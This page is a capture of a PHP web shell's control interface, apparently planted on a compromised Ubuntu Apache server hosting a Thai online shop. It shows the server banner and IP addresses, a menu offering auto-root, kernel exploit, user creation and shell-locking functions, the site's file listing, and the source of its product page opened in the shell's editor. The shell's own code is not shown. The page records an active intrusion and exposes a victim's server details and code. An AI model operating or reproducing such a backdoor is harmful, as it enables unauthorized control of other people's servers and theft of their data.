Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
accout
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database-all
[ DIR ]
drwxr-xr-x
icon
[ DIR ]
drwxr-xr-x
Category.php
2.58
KB
-rwxr-xr-x
Confirm.php
14.04
KB
-rwxr-xr-x
Contact.php
1.02
KB
-rwxr-xr-x
Delivery.php
3.25
KB
-rwxr-xr-x
Login.php
5.65
KB
-rwxr-xr-x
LoginAdmin.php
3.48
KB
-rwxr-xr-x
Payment.php
2.41
KB
-rwxr-xr-x
Product.php
2.22
KB
-rwxr-xr-x
Register.php
7.02
KB
-rwxr-xr-x
api_line.php
1.26
KB
-rwxr-xr-x
banner.php
280
B
-rwxr-xr-x
banner2.php
473
B
-rwxr-xr-x
cart.php
4.64
KB
-rwxr-xr-x
customer.php
282
B
-rwxr-xr-x
detail_product.php
1.43
KB
-rwxr-xr-x
footer.php
1.68
KB
-rwxr-xr-x
function_get_login.php
1.26
KB
-rwxr-xr-x
index.php
552
B
-rwxr-xr-x
item_product.php
1.39
KB
-rwxr-xr-x
logout.php
74
B
-rwxr-xr-x
main.php
3.42
KB
-rwxr-xr-x
meta_tag.php
806
B
-rwxr-xr-x
navbar.php
7.57
KB
-rwxr-xr-x
new_product.php
1.54
KB
-rwxr-xr-x
pagination.php
1.49
KB
-rwxr-xr-x
script_js.php
422
B
-rwxr-xr-x
search.php
1.07
KB
-rwxr-xr-x
select_amphures.php
723
B
-rwxr-xr-x
select_districts.php
580
B
-rwxr-xr-x
select_provinces.php
727
B
-rwxr-xr-x
show_banner.php
871
B
-rwxr-xr-x
slide.php
2.18
KB
-rwxr-xr-x
slide_category.php
1.3
KB
-rwxr-xr-x
stockProduct.php
6.34
KB
-rwxr-xr-x
tb_unit.sql
1.48
KB
-rwxr-xr-x
test.php
821
B
-rwxr-xr-x
view.php
1.87
KB
-rwxr-xr-x
viewCategory.php
2.47
KB
-rwxr-xr-x
viewProduct.php
8.03
KB
-rwxr-xr-x
viewSubBusiness.php
2.65
KB
-rwxr-xr-x
viewSubCategory.php
2.63
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : viewProduct.php
<?php session_start(); include('config/connect.php'); include "app/barcode-generator/src/BarcodeGenerator.php"; include "app/barcode-generator/src/BarcodeGeneratorHTML.php"; function barcode($code){ $generator = new Picqer\Barcode\BarcodeGeneratorHTML(); $border = 2;//กำหนดความหน้าของเส้น Barcode $height = 30;//กำหนดความสูงของ Barcode return $generator->getBarcode($code , $generator::TYPE_CODE_128,$border,$height); } ?> <!doctype html> <html lang="en"> <head> <?php include('meta_tag.php');?> <title><?php echo $title;?></title> <link href="app/lightbox/css/lightbox.min.css" rel="stylesheet"> </head> <body> <?php include('navbar.php');?> <?php include('banner.php');?> <div class="container"> <div class="row"> <?php $product_id = $_GET['product_id']; $product_status = "1"; $stmt = $conn->prepare("SELECT p.*, c.category_name, u.unit_name FROM tb_product AS p LEFT JOIN tb_category AS c ON p.category_id = c.category_id LEFT JOIN tb_unit AS u ON p.unit_id = u.unit_id WHERE p.product_status=:product_status AND p.product_id=:product_id ORDER BY p.product_id DESC"); $stmt->bindParam(':product_status', $product_status , PDO::PARAM_STR); $stmt->bindParam(':product_id', $product_id , PDO::PARAM_STR); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); $product_view = $row['product_view'] + 1; $sql_update = $conn->prepare("UPDATE tb_product SET product_view=:product_view WHERE product_id=:product_id"); $sql_update->bindParam(':product_view', $product_view , PDO::PARAM_INT); $sql_update->bindParam(':product_id', $product_id , PDO::PARAM_INT); $result_update = $sql_update->execute(); ?> <div class="col-md-9 mt-3"> <div class="card h-100"> <div class="card-body"> <div class="row"> <div class="col-md-12"> <h4 class="card-title text-center"><b><?php echo $row['product_name'];?></b></h4><br> <div class="row"> <div class="col-md-8"> <p class="text-center"><img class="rounded" src="app/img-product/<?php echo $row['product_img'];?>" alt="<?php echo $row['product_name'];?>" width="100%"></p> <div class="row"> <?php $stmt_product = $conn->prepare("SELECT product_img_id, product_img_name FROM tb_product_img WHERE product_id=:product_id ORDER BY product_img_id ASC"); $stmt_product->bindParam(':product_id', $product_id , PDO::PARAM_INT); $stmt_product->execute(); $result_product = $stmt_product->fetchAll(); foreach($result_product as $row_product) { ?> <div class="col-md-4 mt-1"> <a class="example-image-link" href="app/img-product-item/<?php echo $row_product['product_img_name'];?>" data-lightbox="example-set"> <img class="img-thumbnail" src="app/img-product-item/<?php echo $row_product['product_img_name'];?>" width="150"> </a> </div> <!--./col--> <?php } ?> </div> <!--./row--> </div> <!--./col--> <div class="col-md-4"> <br><p class="card-text"><b>รายละเอียดสินค้า</b></p><hr> <p class="card-text">รหัสสินค้า : <?php echo $row['product_no'];?></p> <p class="card-text"><?php echo $row['product_name'];?></p> <p class="card-text"><?php echo barcode($row['product_id']);?></p> <p class="card-text">น้ำหนัก : <?php echo $row['product_weight'];?> <?php echo $row['unit_name'];?></p> <p class="card-text">จำนวนทั้งหมด : <?php echo number_format($row['product_item'],0); ?> ชิ้น</p> <p class="card-text">จำนวนคงเหลือ : <?php echo number_format($row['product_stock'],0); ?> ชิ้น</p> <p class="card-text">จำนวนการเข้าชม : <?php echo number_format($row['product_view'],0); ?> ครั้ง</p> <p class="card-text">ราคา : <span class="badge badge-pill btn-theme"><?php echo number_format($row['product_price'],0); ?> บาท</span></p> <?php if($_SESSION['customer_id'] != '') { ?> <?php if($row['product_stock'] > 0) { ?> <a href="cart.php?product_id=<?php echo $row['product_id']?>&act=add"> <button type="button" class="btn btn-dark"><span class="fa fa-shopping-cart"></span> เพิ่มลงตะกร้าสินค้า</button> </a> <?php } else { ?> <button type="button" class="btn btn-danger"><span class="fa fa-shopping-cart"></span> สินค้าหมด</button> <?php } ?> <?php } else { ?> <form method="post"> <button type="submit" name="btnAdd" class="btn btn-dark"><span class="fa fa-shopping-cart"></span> เพิ่มลงตะกร้าสินค้า</button> </form> <?php } ?> <?php if(isset($_POST['btnAdd'])){ echo ' <script> swal({ title: "กรุณาทำการเข้าสู่ระบบก่อน", text: "หากลูกค้ายังไม่ได้เป็นสมาชิก กรุณากดลงทะเบียน", icon: "info", button: "รับทราบ", }).then( () => { location.href = "Login" }); </script> '; } ?> </div> <!--./col--> </div> <!--./row--> </div> <!--./col--> </div> <!--./row--> <div class="row"> <div class="col-md-12"> <p class="card-text"><?php echo $row['product_detail'];?></p> </div> <!--./col--> </div> <!--./row--> </div> </div> </div> <!--./col--> <div class="col-md-3"> <?php include('item_product.php');?> </div> </div> <!--./row--> </div> <!--./container--> <?php include('footer.php');?> <?php include('script_js.php');?> <script src="app/lightbox/js/lightbox-plus-jquery.min.js"></script> </body> </html>
Close